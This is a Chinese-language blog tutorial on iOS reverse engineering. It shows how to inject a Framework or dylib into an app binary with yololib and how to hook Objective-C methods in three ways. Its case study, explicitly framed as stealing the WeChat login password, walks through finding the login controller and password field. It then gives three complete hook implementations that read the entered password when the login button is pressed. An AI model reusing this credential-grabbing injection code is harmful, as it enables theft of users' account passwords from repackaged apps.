iOS逆向-代碼注入

代碼注入

一般修改原始的程序,是利用代碼注入的方式,注入代碼就會選擇利用FrameWork或者Dylib等三方庫的方式注入。

Framework注入

一.通過Xcode新建Framwork,將庫安裝進入APP包
二.通過yololib注入Framwork庫路徑。命令:$yololib(空格)MachO文件路徑(空格)庫路徑


BA265A10860294D60FC282E3FCC2F347.png

也可通過腳本注入:

yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/JensenHook.framework/JensenHook"

三.注入成功的庫路徑會寫入到MachO文件的LC_LOAD_DYLIB字段中

dylib注入

一.通過Xcode新建Dylib庫(注意:Dylib屬于MacOS所以需要修改屬性,baseSDK以及codeSign)
二.添加Target依賴,讓Xcode將自定義Dylib文件打包進入APP包。
三.利用yololib進行注入。

多種HOOK方式

class_addMethod方式:

利用AddMethod方式,讓原始方法可以被調用,不至于因為找不到SEL而崩潰

class_replaceMethod方式:

利用class_replaceMethod,直接給原始的方法替換IMP

method_setImplementation方式:

利用method_setImplementation,直接重新賦值原始的新的IMP

案例分析-竊取微信登錄的密碼

準備工作

一. 重簽名可運行的程序
對重簽名不了解的同學可以查看:(http://www.lxweimin.com/p/0fa6352c3ca1)
二.classdump工具,并導出Wechat.app的所有頭文件。

8.png

導出后文件大致如下:
7.png

使用view debug對微信的登錄界面進行動態分析。
1.png

要竊取微信的密碼,就需要在點擊登錄按鈕的時候,獲取到控件中的密碼, 就完成了。


9.png

view debug下點擊登錄按鈕,找到登錄按鈕的Target是WCAccountMainLoginViewController,Action是onNext,在lldb下,嘗試調用WCAccountMainLoginViewController的onNext實例方法,可以調用成功。


10.png

在WCAccountMainLoginViewController的頭文件中,也能找到onNext方法,這樣,點擊按鈕的方法就找到了,接下來,我們需要找到密碼框控件。
2.png

通過在view debug找到了有密碼的控件是WCUITextField,在lldb下查找控件的nextResponder, 一直往上查找找到了WCAccountMainLoginViewController。
3.png

在WCAccountMainLoginViewController的頭文件下查找到了_textFieldUserPwdItem, 順著控件的類型WCAccountTextFieldItem往下找,


4.png

沒有找到WCUITextField密碼控件,于是查找它的父類WCBaseTextFieldItem
5.png

在WCBaseTextFieldItem中找到了WCUITextField,在lldb下嘗試一下能否找到:
6.png
寫邏輯代碼注入實現,(這里按照多種hook的方式,提供了三種代碼)

第一種方式:

#import "InjectCode.h"
#import <objc/runtime.h>

@implementation InjectCode

+(void)load {
    NSLog(@"Framework注入成功");
    Method * method = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    BOOL didAdd = class_addMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(jensenLogin), (IMP)myLogin, "v@:");
    method_exchangeImplementations(method, class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(jensenLogin)));
}
    
void myLogin(id self,SEL sel) {
    NSString * pwd = [[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] performSelector:@selector(text)];
    NSLog(@"獲取到密碼:%@",pwd);
     [self performSelector:@selector(jensenLogin)];
}
    
@end

第二種方式:

#import "InjectCode.h"
#import <objc/runtime.h>

@implementation InjectCode

IMP (* oldLogin)(id self,SEL cmd);
    
+(void)load {
    NSLog(@"Framework注入成功");

    oldLogin = class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
 class_replaceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext), myLogin, "v@:");
}
    
void myLogin(id self,SEL sel) {
    NSString * pwd = [[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] performSelector:@selector(text)];
    NSLog(@"獲取到密碼:%@",pwd);
    oldLogin(self,sel);
}
    
@end

第三種方式:

#import "InjectCode.h"
#import <objc/runtime.h>

@implementation InjectCode

IMP (* oldLogin)(id self,SEL cmd);
    
+(void)load {
    NSLog(@"Framework注入成功");

     Method * onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    oldLogin = method_getImplementation(onNext);
    method_setImplementation(onNext, (IMP)myLogin);
}
    
void myLogin(id self,SEL sel) {
    NSString * pwd = [[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] performSelector:@selector(text)];
    NSLog(@"獲取到密碼:%@",pwd);
    oldLogin(self,sel);
}
    
@end

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容